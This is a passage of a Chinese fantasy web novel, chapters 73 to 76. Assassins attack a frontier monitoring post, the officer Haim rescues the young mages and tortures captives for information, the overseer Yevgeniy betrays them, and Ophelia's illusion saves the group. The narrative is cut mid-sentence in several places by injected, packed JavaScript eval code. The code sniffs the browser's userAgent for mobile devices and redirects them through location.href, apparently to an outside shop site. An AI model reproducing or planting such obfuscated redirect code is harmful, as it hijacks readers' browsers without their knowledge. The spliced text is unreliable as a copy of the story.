她疲惫地抱怨道,整个人挂在箱壁上,像一只耷拉着头的水獭。 罗杰看着这场面有些头疼。 “你怎么一个人来这里,未经批准可是不允许……” “新年快乐!”奥菲莉亚的祝福堵住了他肚子里剩下的那堆无聊的话。 她捧出两个用纸折成的立体小鸟。 “这是新年礼物,去年我在东区被关禁闭,还是你们给我送吃的呢。” 她将两只不大的小鸟折纸塞给了亚瑟和罗杰。 亚瑟不好意思地抓了抓头。 “谢谢你,奥菲莉亚,但今年我们都没准备什么好的礼物,我们回去以后请你吃可丽饼好吗?” “唔……那我想要黑森林蛋糕和巧克力脆皮泡芙。”她相当认真地提起了要求。 三异乡人就挤在了观测室内,喝着果汁等待新年的到来。 荒原一望无际,没有魔兽侵扰时安静得像全世界只剩下了他们三个人。 奥菲莉亚在这万籁俱静的环境里,能更清晰地感知大家的魔力波动和情绪。 亚瑟的心情不错,像刚出炉的蛋烘糕,攻击性法师的魔力波动大多比较尖锐、危险,亚瑟却是个例外,像是一团不会灼伤人的火苗。 罗杰的心情比起平时要开心,像木头抽出了一点绿芽在风中微微摇曳。他的魔力波动更加平缓、沉稳,像沉默不语扎根深处的树脉。 还有种波动,有些尖锐…… 等一下,第三种? 奥菲莉亚突然警觉,急忙扩大感知的范围。 敌意?强烈的敌意!不会错的! 有浓烈的敌意在逼近监测点。 她急忙拉住亚瑟和罗杰的手:“有坏人,快拉警报,打开防御屏障。” 亚瑟一脸不可置信地看着她,但他和罗杰早就知道奥菲莉亚魔法的特性,便立刻按照奥菲莉亚所言,启动了警报。 罗杰则也打开了探知魔法,眼睛里仿佛蒙上了一层月光。奥菲莉亚能洞察情绪,但魔力波动显然没有这个专业的探知法师来得精准。 “他们还有两分钟左右能够抵达,有十多个人,我们不是对手,立刻走。” 他们没有开启屏障,对方人多势众,哪怕开启屏障也不可能抵抗得了一整晚,在这里等到泰西防线的援军赶来显然不太现实。 趁着对方还没有形成包围,仍在暗中接近,他们悄悄从另一个方向离开胜算更大。 亚瑟抱着一只手抄起奥菲莉亚,快速下楼去牵马。“罗杰,往哪个方向跑?” “西北方,快!他们快到了,该死,他们从泰西防线那边过来的……” “也就是说我们不能折返?”亚瑟觉得这可太糟糕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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马克西姆南下前对海姆千叮万嘱,叫他少抽烟,尤其是马克西姆再三要求他发誓戒烟。 “你的肺问题很严重!要想长命百岁必须戒烟,你也不想猝死在岗位上一分退休金也拿不到吧!你再不戒烟!我就让阿纳托利长官把你死后的退休金打到我的账户上……” 马克西姆还在的时候,那小混蛋的声音吵得他脑袋疼,明明在列昂尼德手底下时还挺可爱的,自从被奥尔加挑去当了几年医生,俨然一个小古板,唠叨得要命,不过不管他怎么唠叨戒烟,海姆都照抽不误。 直到马克西姆和阿纳托利南下后,海姆的耳根子就彻底清净了,也是从那天起他就把烟戒了。 思绪飘得有些远,他贪婪地嗅了嗅铁盒里的烟草,把盖子盖好放进了抽屉。 然后看到了另两个包裹,应该是莱安娜和阿纳托利寄给奥菲莉亚的东西,海姆准备拿着包裹去找奥菲莉亚,却发现这个包裹意外地沉重。 “什么东西这么重?” 他不是有意侵犯个人隐私,但实在好奇就看了下包裹上的单子。 一个包裹还比较正常,是一些糖果和零食,另一个包裹则是沉重的罪魁祸首,满满当当全是书。 《白兔先生的茶话会》、《金鱼和它的朋友们》、《一百零一个毒蘑菇》……《中阶魔法概论》、《中阶魔法分则》、《心理学基础理论》……《帝国历史全集》、《东区魔兽图鉴》…… 怎么感觉有什么奇怪的东西混进了小孩子的绘本里?莱安娜到底给这孩子看的什么书?难道自己给奥菲莉亚的教学强度还不够? 海姆开始怀疑自己了,拿着一堆包裹开始去书库寻觅奥菲莉亚的影子。但找了一圈都没看到人,直到他走到奥菲莉亚的房间,看见这孩子留下的纸条。 “您好,如果看到这张纸条了,您应该在找我,请不要担心,我跟着补给队离开了防线,给亚瑟和罗杰哥哥送完礼物,第二天会跟着补给队回来,抱歉给您添麻烦了。” 寻人未果的海姆松了口气。 没丢就行,真让奥菲莉亚在泰西防线丢了,怎么和阿纳托利交代。 但思来想去,安全起见还是决定找亚瑟和罗杰确认一下,他赶紧来到控制中心联络,却发现监测点那边无人回应。 “亚瑟?罗杰?” 海姆瞬间就意识到出事了,立刻调出报警记录,却发现空无一物。 “记录被删了……”海姆额头直冒冷汗。 他很清楚,监测点一旦故障会自动报警,故障记录是无法删除的。但现在监测点失联还没有报警记录,就只剩下最坏的一种可能了——外敌和内应勾结袭击了监测点。 他立刻召集还能行动的人手赶赴监测点。 叶夫根尼走出食堂时看见走廊里的人行色匆匆,拦下一个询问。 “怎么了?” “海姆长官在召集人手,监测点像是出事了。” “是吗?”他皱起眉来。“海姆呢?这么大的乱子他不需要和我商量?” 他话音刚落,就看到了全副武装的海姆。 “抱歉监视官,事态紧急,请允许我先行处理,之后再向您汇报。”海姆恭敬地说。 “救援方案按照规则需要经过讨论并得到我的签字后方有效力。我尊重您的决定海姆长官,所以不会拦您,但你如果要未经程序执行救援,后果是由您一个人承担。” “我自然清楚。” 海姆点了点头,转身挥手示意一队人马和他一起前往救援。 73. 紧急救援 海姆带队在雪地里疾驰,直奔联络点。 按照惯例他本该明早再联络亚瑟和罗杰,所以敌人也预留的撤离时间应该也是在明早前。但现在他们提前救援了,至少局面不算最糟。 两个南方神官、一个重要的小孩。他是那么信誓旦旦地给阿纳托利保证了防线的安全。没想到竟然让人在自己眼皮子下搞了破坏? 他祈祷三个小孩撑得久一些,利用屏障或者跑远一些,撑到救援赶过去。 不知道他们的运气算不算好,行至半路就看到前方有来路不明的马队。 “警戒!”海姆下达指令,仔细观察,试图区分远处飘雪里的队伍是流民还是敌人。但他更倾向后者。 而对方的反应印证了他的猜想。十多支魔导器射出的箭矢划破风雪,朝他们刺来。 海姆抬手,魔力控制的领域之下,连飞雪都悬停在了空中,所有箭矢都被挡下。 “准备战斗。” 轻剑出鞘,特制金属的发出清脆的嗡鸣,他是魔法师,但常年的骑士训练让他更习惯使用魔导器。 在经历一番交战后,海姆的部队获得了胜利,海姆的魔力环绕在他的轻剑周围,将血迹和剑锋隔开,星星点点悬浮着的血点随着他的剑飘动,将空中的雪花都浸红,剑身却干净得发亮。 海姆踢开挡在自己面前的尸体。走到被控制起来的五人身前,湖蓝色的眼睛此刻如同一片冰湖,满是冷意。 “你们可没有那些死了的人走运,我很擅长让人说实话,我给你们每个人一分钟,从你开始。” 他轻声说道,剑杵在地上没有动,只是动了动指尖,雪花混杂着血液像蛇一般悬停在了偷袭者的脖子上。魔力的压力徒然增大,命悬一线的危机感瞬间袭来。 被压在地上的人没有说话,咬紧牙关,太阳穴的青筋凸起。海姆皱了皱眉。 冻原上的惨叫显得格外凄凉。 那人的眼睛顿时血流如注。他还活着的同伙有的把目光看向别处。 “治愈官呢?过来给他用一般治疗魔法。” 一般的治疗魔法在强行愈合伤口时会伴随着强烈的痛觉,那人已经痛得冷汗直流、不停地发抖。 “我不会杀死各位,指尖、眼睛这些可都是痛觉神经最敏感的地方。”他一边说一边挑起剑锋轻轻落在拷打对象完整的那只眼球上。 我会让大家好好享受的,现在不告诉我答案也没关系,毕竟这个夜晚很长。” 他刻意拖长了声音,像是折磨人为乐的魔鬼。 “而且没必要守口如瓶吧,你们的行动从我们提前联系观测点起就注定失败,你们的雇主不会放过各位,不如和我们泰西防线合作,我们并不在意你们要杀谁,我们只是想知道谁想染指防线的控制权,只要你们配合,告诉我主谋和你们的计划,我会留各位一命。” 人群仍然是是沉默的。 海姆变继续行动了下去,在折磨了两个人之后,终于有人顶不住压力开口了。 “不要……不要再继续了……我们收钱办事,雇主我们不清楚,目标是那个叫亚瑟的神官候补。” “他们人在哪?” “我们赶到监测点时他们已经跑了,先行部队在继续追他们,因为在监测点听到了控制中心的联络,知道行动已经暴露,我们才折返回来了。” “他们追踪的方向?” “西北方。” 海姆让小队三分之一的人押送这批杀手回泰西防线,而他将继续带着余下部队前往营救。 ······ “罗杰,你不要死啊!”亚瑟吸了吸鼻涕,撕掉衣服上的布条给他包扎。 “闭嘴,你这个乌鸦嘴,我还没死,哭什么哭,嘶。”他痛得抽了口气。 他们三人现在正缩在狭长的地缝中,他们的马匹被袭击者击中,被追上后亚瑟一人难以招架,险些被偷袭,罗杰为救他被暗箭伤到了肩膀,袭击者完成了包围,他们退无可退,没想到奥菲莉亚的幻术已经有了中阶水准,她让杀手们短暂地看到幻象,亚瑟和罗杰这才带着她趁乱逃出,躲到了这个地缝里。 “我讨厌你亚瑟……”罗杰瞪着对方恶狠狠地给了他一拳,“你到底惹了什么破事儿,追杀的人追杀到了这里!你就会惹麻烦!” “那你干嘛要给我挡箭,你就是个脆皮探测器!你根本打不过。” “你以为我想吗!平时我倒是巴不得你被射成刺猬!但现在这里可就你一个有战斗能力!” 罗杰有些痛苦地扶额,这都什么事儿啊? 亚瑟不语,包扎好伤口后默默流泪。 “好了,别哭了,扶我起来。”罗杰没好气地说。 “你还能行动吗?我们要不在这里等……” “在这里等着才是死路一条。”罗杰语气笃定,随后他看向奥菲莉亚。“你的幻术大概能拖延多久?” “还有十分钟左右。”奥菲莉亚忧心忡忡地盯着罗杰的左肩,亚瑟给他包扎的布条已经被浸红。 “我们继续沿着地缝走,雪原太冷了,而且没有遮蔽物,距离日出联络还有两个小时,只要坚持到援军抵达,我们还有希望。” 三人就这样彼此搀扶着走在地缝的边缘,祈祷着不要被追击的人发现。 但他们的敌人何止只有追击的人,低温和失血过多很快让罗杰失去了意识,闭眼之前还强撑精神又骂了一遍亚瑟。 “都怪你,我就不该和你来泰西防线,不该留下来的……你就会拖累我!你就会惹麻烦……” 亚瑟一手背着他、一手牵着奥菲莉亚继续往前逃。 “罗杰要是死了怎么办?我可不希望他的遗言是这句话。” “罗杰哥哥不是说只要撑到天亮,我们就有希望了吗?不要放弃,如果追兵上来,我还可以再用一次幻术。”奥菲莉亚安慰着他。 但亚瑟却没有回答她,他的眼神十分认真,过了会儿后他才看着奥菲莉亚叹了口气。 “如果一会儿那些人追上来了,你用了幻术后,找个安全点的地方,你和罗杰待在那里千万不要出来,我看这地缝里的洞还挺多的……” 奥菲莉亚知道亚瑟这是要一个人去断后的意思,担忧地开口:“但是你会死的,亚瑟,我们一起躲起来。” “他们的目标是我,奥菲莉亚,我们分头行动,他们杀了我后应该就不会继续追杀你们了。虽然其实我也不知道为什么要杀我,有时候真的觉得好冤枉。” 他很无奈地叹了口气,揉了揉奥菲莉亚的脑袋。 奥菲莉亚正准备说话,裂谷的坡地上就传来了急促的马蹄声,追兵已经到了。 “奥菲莉亚快!躲到对面那个坑里!我把罗杰塞到另一个洞,你不许出来。” 他拎起地上的奥菲莉亚,完全不商量地两人朝地洞里一塞,然后提着剑就跑到了最显眼的地缝斜坡上。 “目标哪里去了?” 亚瑟听见坡地上的人开始搜寻,应该是奥菲莉亚的幻术开始奏效,但如此遥远的距离,幻术的效果会打折扣,不知道可以争取多长的时间。 “在那!目标在那里!”不到两秒,魔导器的攻击密集地落了过来,亚瑟一面狂奔一边展开屏障。 “远一些,我得让他们离地洞远一些!” 他一路狂奔,但密集的攻击终究是打破了他的防御,他的右脚中了一击,摔在了地上,距离奥菲莉亚他们躲藏的地方已经有六百米有余了。袭击者见他失去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132031|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行动能力,冲下斜坡来。 “小心,这小子攻击魔法强度很高,虽然他跑不了了,但注意他的攻击。” 那些人一边和同伴高呼,一边朝他逼近。 亚瑟撑起身,捡起前面的剑,左手拿起脖子上的怀表,打开看了眼怀表内侧的两张照片,一张是他和父母的魔法影像,一张是和罗杰、露比的三人影像。 “距离日出,还有一个多钟头。” 他合上怀表,在金属外壳上吻了一下。杵着剑站了起来,死死地盯着前方。 那些人像狼围猎一样围成了一个圈,步步紧逼,很快其中一个人扑了上来,其他人紧随其后。 亚瑟的剑上悦动着火花,剑身掠过的地方气流都变得灼热,在雪夜中宛如一条火龙,将前三个攻击者逼退。 “来啊!”他愤怒地吼着。他困惑于自己为何要被赶尽杀绝,愤怒于自己的同伴因此受伤。 火光冲天,中阶法师赌上性命的全力一击撕破黑暗,将面前的三个敌人掀翻在地,但再激烈的死斗改变不了困兽的处境,他无处可逃敌众我寡。 再魔力消耗初显疲态之际,一个袭击者看准时机,一发远程魔导器打掉了亚瑟手中的剑,他不再依靠魔导器,继续使用魔法防御住了左右夹击,他心中一冷,余光已经瞥到了斜后方的袭击者抽出长刀,但他已经分身乏术了。 就在他内心绝望之际,身后那个影子发出惨叫。 海姆骑着马在裂缝的对面拉开附魔的弓,飞来的箭矢将偷袭的杀手一击毙命。 海姆见那人倒下,这才松了口气,他带着人朝着西北方一路搜寻却一无所获,直到看见亚瑟全力一击迸发出的冲天火光。 “进攻。” 他一声令下,泰西防线的骑士们加入了战斗。 出行仓促,海姆只带了八个人,杀手却有他们的两倍,不过海姆和亚瑟都是魔法师,很快便控制住了对方,对方杀手训练有素,虽然剩下的四人被控制住了,但战斗过程中也伤了他们四位骑士,好在不是致命伤。 收拾好局面后,海姆赶紧问亚瑟: “另外两个人呢?” “奥菲莉亚和罗杰没事,他们躲在前面的洞窟里。” 亚瑟发现海姆的脸色瞬间变得非常难看,几乎是冲到了洞窟前,把奥菲莉亚和罗杰拖了出来。 “我们立刻离开这里!” 他们快速上马走上了斜坡。 奥菲莉亚觉得他神色不对忍不住询问:“这里是有什么危险吗?海姆先生?” 海姆有些无奈地盯着奥菲莉亚:“小可爱你知道为什么这里会有洞窟吗?” 奥菲莉亚摇了摇头。 “泰西防线的清剿行动让几大片区不会再有大规模魔兽潮,但不代表没有零星魔兽,那洞窟很可能是冬眠的魔兽挖的。” 海姆只能感叹奥菲莉亚和罗杰的命够硬,不然没死在杀手手里,惊动了冬眠的魔兽也是难逃一死。 “所以你们怎么想到躲在这种洞里的。”海姆笑着问。 奥菲莉亚和亚瑟对视一眼,两人都是一阵后怕。 刚上马走了没多远,奥菲莉亚想起罗杰说的,那些杀手可以通过防线,她便转头看向海姆: “海姆先生,为什么……” “嘘。”海姆示意她别出声。 前方有些模糊的风雪中,闪现出了星火来。 “难道还有埋伏的人?”海姆的手搭在了剑柄上。 “海姆长官。” 叶夫根尼骑着马带着五个骑士走了过来。 “我看您久久未归,担心出问题,就带了一只小队来支援,沿途遇到了折返回防线的队员们,他们告知了我方向,让我来支援。” 74. 坠入绝境 海姆见到是泰西防线的骑士,先松一口气,随后不由得感叹起叶夫根尼见风使舵的能力,他应该是看到了折返的部队,判断出行动成功了,立刻就摆出一副积极参与的姿态。 海姆深知这位监视官对自己的权限抓得有多紧,也没有什么容人之量,斯捷潘那直脾气才会被逼去南方,不过海姆和斯捷潘不同,他最擅长夹着尾巴做人了。 “算了,和伊莉雅心尖上的人较什么真,只要行动顺利,小伙们人没事就行。”海姆心想道。 虽然相当惊险,但总算是救下了这些孩子,万幸的是行动没有人死亡,当务之急是自己回去好好排查下,看看到底谁背叛了防线。 想到此处,海姆抬头说:“感谢监视官大人的支援,行动顺利,我回去后立刻撰写报告、补充行动说明,还希望监视官大人原谅我行动前的焦急,这次行动如果没有您的支援定然不会如此顺利。” “海姆长官言重了。”叶夫根尼朝他笑了笑,带人打马走了过来。 海姆捏着缰绳正准备往前走,坐在前面的奥菲莉亚的手却猛地逮住缰绳往旁边扯,大喊: “大家散开!对面是坏人!” 一众骑士面对着突如其来的警告一头雾水,连海姆都愣了一下。 只有亚瑟出于对奥菲莉亚的绝对了解,立刻纵马逃开,海姆的马匹在奥菲莉亚的拉扯下也窜向了别处。 叶夫根尼一抬眉,盯着奥菲莉亚,他果然跟这孩子不太投缘。 他身后的骑士立刻端起藏在盾牌后的轻型魔导器,箭矢瞬间飞出,两波人马距离很近,暗器的威力充分发挥,一众骑士完全没有怀疑过自己的队友,还没反应过来便当场殒命。 逃过一劫的海姆,这才反应过来。叶夫根尼身后正好是五人,他们不是骑士,应该正是刚才送回防线的杀手。 叶夫根尼是内应,他杀掉了押送杀手的骑士,给这些杀手穿上了泰西防线的盔甲…… 但他为什么要这么做?这绝对不会是伊莉雅的意思,那他到底是谁的人? 海姆一只手护着奥菲莉亚,一边策马狂奔,亚瑟带着罗杰跟在他的身后。 但对方显然不打算放过他们,密集的魔导器箭矢射来,海姆竭尽所能应对远程攻击,同时戒备着后方侧面偷袭的人。 他明明有注意魔力探查的,但左侧逼近的人像是鬼魅一般无声无息。 寒光一闪,直扑海姆前方的奥菲莉亚。 奥菲莉亚的魔力在之前耗尽不少,不足以展开防御魔法,这本来也非她所长。好在海姆反应迅速,挥剑用大开大合的招式挡下了这一击。 金属相撞的嗡鸣声中,叶夫根尼那轻柔的声音同时响起: “您果然在这种时候的破绽最多啊。” 另一道白光从他左手闪出,直刺海姆的心脏。 奥菲莉亚不管不顾地去扯叶夫根尼的手,但还是没能阻止这一击。 海姆闷哼了一声,痛觉从他下腹部传来。 “可恶的小东西。”叶夫根尼冷笑着拔出剑,他这一击本该取下海姆的性命,却在奥菲莉亚的干扰下刺偏了。 奥菲莉亚的手被利刃划破,立刻鲜血淋漓,她咬着牙死死拽住缰绳,想让马匹跑得再快一些。 而因为海姆受伤防御松动,魔导器的远程打击终于打中了马匹,她和海姆被甩下了马,她落在地缝边缘,而海姆却被甩在了坡地上。 亚瑟和罗杰撑了一会儿,但很快也被控制,但这次杀手没有杀死亚瑟,而是一脚把二人踢落缝底。 奥菲莉亚心急如焚,努力起身爬到海姆身边,海姆的胸口因急促呼吸而剧烈起伏,他眉头紧锁,面色惨白。 “海姆……”奥菲莉亚帮他擦了擦脸上的灰,眼泪止不住地开始落下。 “别哭,你做得很好。” 他伸出手擦了擦奥菲莉亚的眼泪。然后捂着自己腹部的伤口,撑着捡起身,和亚瑟一起把奥菲莉亚和昏迷的罗杰护在身后。 叶夫根尼走到地缝的坡前,居高临下地俯视着海姆。 “动手。” 他下达指令,两个杀手拿着魔导器快速逼近,却没有靠近海姆他们,而是直冲地缝边缘较大的地窟,朝着那深不可测的洞穴打出密集的攻击,直到那洞窟传来一声低沉的嘶鸣。 海姆知道,他们是想把这场背叛掩饰成普通的魔兽偷袭。 地下有魔兽,上面有杀手,他们此刻是真的坠入绝境了。 “亚瑟,远程魔导器有距离限制,我争取时间,你们能跑多远算多远。” 他调整呼吸握紧了剑柄,至少他要为这些年轻人多撑一会儿。 “哦,刚才没伤到您的要害,您还有战斗能力。” 坡上的叶夫根尼轻声念叨,拔出两把长剑,径直走了下来。 “我为刚才的偷袭致歉,那确实不太光彩,我其实一直很期待能和您正面交手,毕竟很早以前,我也是骑士。” 海姆严阵以待,叶夫根尼是绣花枕头的传闻骗了所有人,大家都当他是靠脸博得公爵喜爱的情人,没想到竟有这样可怖的实力。 登峰造极的剑术、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138086|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堪比魔法师的魔力强度、这样强悍的魔导师,海姆过去只遇到过阿纳托利一个。自己哪怕是没有受伤,也不是这种怪物的对手。 他戒备地盯着叶夫根尼,对方面不改色地和他对视,随后目光下移,落到他腹部的伤口上,笑着收起了右手的剑。 “我是惯用双手剑的,不过您既然已经受伤,似乎我用单手对您才算公平。” 他话音刚落,凌厉的一击就直扑海姆的面门。 海姆展开了控制魔法和防御屏障,叶夫根尼撕开了他的魔力控制,飞身一剑正面袭来,中阶屏障应声碎裂。 海姆没想到,原来之前的交手,都还不是叶夫根尼的全部实力…… “哐!” 原本该逃开的亚瑟扑了过来,为海姆挡下一击,叶夫根尼不耐烦地扫了他一眼,两招破了亚瑟的防御,将对方一脚踢开,继续攻击海姆。 六击之后,海姆的剑就被挑落,叶夫根尼将他踹翻在地,有些失望地摇了摇头。 “传闻您是阿纳托利长官的左膀右臂,哪怕受伤实力也该更强才对。”他兴致缺缺地收起剑,走上了坡地。 “你到底是谁?”海姆提着气问道。 “一个已经死去的骑士。”他俯视着海姆,脸上出现了有些惆怅的笑。他继续打量着海姆,这个战士伤痕累累却依然在死撑。 “这种忠于职责的精神还挺让人怀念的。”他心想道。 出于尊重他应该给对方一个痛快,但为了后续的行动,也只能让这位高洁之人死于魔兽之口了。 “海姆长官,您兼具骑士的正直和必要的智慧,我本来是希望您能成为新帝国的中流砥柱的,但真可惜,您为什么要做多余的事呢?”他的目光移向海姆身后的亚瑟和罗杰。 “今晚本来只用死两个人的。” 他惋惜地叹了口气。 “为了伊莉雅公爵,请各位上路吧。” “不!北方正急于应对寒潮和粮食危机,伊莉雅不会在此时挑起南北矛盾,让神官死在北方!这不是伊莉雅的命令!”海姆反驳道。“你想借本次行动顺势除掉我,你想挑拨阿纳托利和伊莉雅的关系?你到底是谁的人!” 叶夫根尼没有回答他,只是笑了笑,那美丽的紫色眼睛旁边沾了几滴血,带血的笑容仿佛散发着诡异的寒气,像带有摄人心魄的魔力。 地下魔兽的响动愈发清晰,叶夫根尼亲眼看见魔兽从洞口中窜出,将四人分食殆尽。 他手里的留影石记录下了这一不容辩驳的事实,这将作为他解释此事的证据。 75. 逃过一劫 海姆不可置信地盯着奥菲莉亚。 这个小姑娘此刻咬紧牙关,构筑起了超大范围的幻境,席卷了整段裂缝,将裂缝上的人包裹其中。 叶夫根尼的目光落在中央的空地上,毫无疑问,他被奥菲莉亚构筑出的幻境欺骗,但不知道如此庞大的幻境奥菲莉亚能够支撑多久。 “我必须坚持!” 因为高强度的魔力运作,她的鼻子下方开始流出血来,过于庞大的精神压力让她的头痛得快要炸开,眼泪不受控制地落下。 之前为了掩护撤离,她就使用过一次大范围幻境,魔力本就消耗不少,现在强行构筑幻境几乎是对精神和□□的极致伤害。 她快要撑不下去了,但她必须撑下去! “这里只能靠我了,我如果做得不好,大家都会死……”她想起了在布鲁城的那些人,自己只会构筑这些虚假的东西,莱安娜说这些是有意义的,但意义是什么呢?那些人最后都死了。 “我不会让那种事情再发生。” 她咬着自己的唇,都快咬出血来。 她一直在思考自己的魔法到底有何种实际作用,哪怕学院的人对她的幻术才能赞不绝口,奥菲莉亚也从未真正理解自己的价值。很多人称呼她是天才,但她什么都没做到过。 而现在,这虚无缥缈的魔法终于有了用武之地,不像是在布鲁城那样,只能作为死前的止痛剂,而是真的可以救人性命的盾。 “我不要造那些虚无缥缈的梦,我要大家都活下去!” 她的魔法、她的执念、她对自我的追问、她对珍视之人的爱都在此刻具现。 幻象栩栩如生,魔力波动在她近乎疯狂地压制下稳定维持着。奥菲莉亚很清楚,这次不会有莱安娜给她输送魔力,她只能靠自己,但哪怕抽干自己每一滴血的魔力元素、哪怕心脏已经快跳出喉咙,在叶夫根尼确信他们死于魔兽之口离开前,绝对绝对不能停下! 海姆和亚瑟按照她的指示屏息凝神,压制着自己的魔力波动,防止被幻境上方的叶夫根尼看出端倪。 叶夫根尼在裂缝边缘不知道站了多久,漫长得奥菲莉亚看不到尽头,在用留影石记录了支离破碎的尸体后他终于带人离开。 马蹄声远去,奥菲莉亚方才敢停下。紧绷着的精神突然放松,她朝前方一扑,倒在了地上痛得蜷缩起来。 “好痛……”她还下意识捂着自己的嘴,仿佛生怕敌人没有走远,自己的一点声音就会功亏一篑,连哭都不敢出声。 头仍然痛得像要炸开,精神力透支让她的大脑一片混沌,许多可怖的记忆一下全涌了出来,魔力在血管里乱窜,身体像针扎一样。她抱紧了自己,一遍遍告诉自己很快就不痛了,她总算在痛苦中失去了意识。 海姆强撑着站起身,走过去检查她的情况。 “魔力紊乱……” 他抱起昏过去的奥菲莉亚,朝亚瑟和罗杰挥手,他们必须立刻离开这里。且不论叶夫根尼是否会发现蹊跷后折返,那只被惊醒的魔兽应该也快出来了。 他们一行人提心吊胆地朝地缝外走去,海姆记得那里有一片林子,至少有遮蔽物,生存的可能性要大一些,只要不是高阶魔兽,自己还能应付一阵。为这三个孩子再拖一下时间。 他们总算走到了林子边缘,海姆记得林子深处有些流民聚集点,如果三个孩子运气好,或许还能活命吧。 没等他继续打算,那只被吵醒冬眠的魔兽的嘶吼就已然逼近。 海姆将怀里的奥菲莉亚交给亚瑟,转身准备去对付这只魔兽。 “爬行类魔兽、无毒……魔力波动中阶。” 他不由得松了口气,高阶魔兽自己现在的状态不可能应付。 他把剑抛在了身后,屏息凝神,将全部魔力凝聚在手中,风雪在他附近全然停滞,他将施展赌上性命的一击。 但就在此时,万籁俱静中却有一道清脆的声音从左侧的林木传来。 “煎饼!顶它!” “哞!” 海姆瞪大了眼睛,一只庞大的棕牛从灌木中跃出,撒着蹄子,撅着巨大的犄角,像铲垃圾一般将那中阶魔兽铲飞老远。 那只被打扰冬眠的魔兽本就一肚子火,不明白状况的它落地后正发怒地嘶鸣,一转头就看见了鼻子喷气的庞然大物。 它冲着这体型高出自己数倍的生物,龇牙咧嘴地吼了两声,飞快地往地缝方向爬去,边爬边发出诡异的嘶鸣,如果魔兽有语言,应该骂得很脏。 海姆不可置信地揉了揉眼睛。 他从未见过如此庞大的牛,牛背上坐着一个高挑强壮的年轻女性。 “已经没事了。” 她笑着安慰着惊魂未定的几人。 深灰色的头发被编成两条粗壮的辫子垂在两侧。她左手拎着一把锤子,手臂上肌肉的纹路格外清晰,浅棕的眼睛明亮有神。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138087|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你们是从哪里来的流民啊?”她好奇地询问,随后目光在海姆和亚瑟身上徘徊,若有所思。“不对,这衣服我见过,你们是防线里的人?” 海姆的大脑飞速运转。 要说实话吗?军人的身份会不会比流民更让人有戒心?要不要用流民的身份先…… 还没等他权衡好利弊,眼前这位女士的目光就落到了他的伤口上。 “你受了好严重的伤。”随后她环视了在场四人,似乎都是刚从地狱里爬出来的样子。 “快,快上来。”她拍了拍牛的后背,然后跳到地上,那头棕牛很默契地低下身来。她朝海姆走近拉着他上了牛背。 “你也快过来。”她朝亚瑟喊,走过去很自然地接过奥菲莉亚放在了牛背上。 “我带你们回我们的聚落治疗,发生了什么事路上再告诉我吧。” 她让伤员躺在牛背上,牵着牛大步朝前方走去。 海姆觉得相当意外,对方似乎对他们没有一点戒心,忍不住开口: “直接带我们回去没问题吗?现在应该正是物资紧张的时候。” “不紧张了。”她的声音都上扬了几分。 “新年的时候,防线给我们送了一些生存物资过来,加上我们自己种的一些东西,撑过这个冬天没问题的。” 海姆愣了一下。 他们对流民问题一直采取了相对冒险的处理方式。 他们会定期匀出一部分防线的物资,以过期或损毁为名,偷偷运到防线外流民聚集的地点扔掉,甚至还担心过他们没有办法处理魔兽问题,以斯捷潘实验失败为名处理过一批魔导器。 这种行为被伊莉雅评价为“授人以柄”。 哈德莱伯爵和部分贵族行事残暴,导致无法生存的人逃亡,但他们在伊莉雅面前把这些人称为叛军。阿纳托利在伊莉雅的默许下偷偷救济,但一旦事情被翻到了明面上,这些人说不定还能再给泰西防线扣一个私通叛军的罪名。 他们私下的救济行为有极高风险,而且工作量也很大,毕竟每次因救济产生的损耗需要冗长的报告加以说明。有时候熬夜写报告时他也想过要不就算了。 抱薪救火、杯水车薪真的有意义吗? 他看着眼前这位流民的背影,一切都有了答案。 人总是会无数次怀疑自己的信仰或选择,在路上萌生过无数次背弃自己的想法,直到抵达终点时才恍然大悟。 76. 善意的回馈 等到了聚集的地方,清醒的人只剩下亚瑟了,他的腿上有伤,最后搏斗的时候身上也挂了彩,但相对较轻。 他曾听说过防线外有不少流民,在亚瑟的想象中那是群无家可归的可怜人。他一直以为这些流民只能靠泰西防线支援的物资苟延残喘,觉得这群人一定过得苦不堪言、十分同情。 但事实和他想象中的大相径庭。聚集点搭了很多帐篷和木制小屋,居民们正忙着各自的事,抱着柴火或者拖着收集好的野菜、捕到的野兔朝家里走,他们脸上的神色大多是平静的,没有那种麻木的疲惫。这时仍是早饭时间,亚瑟能闻到空气中汤食的香气。 他目瞪口呆地环视四周,而这种目光被旁边骑牛的女士迅速捕捉。 “喂,你这是什么表情?” 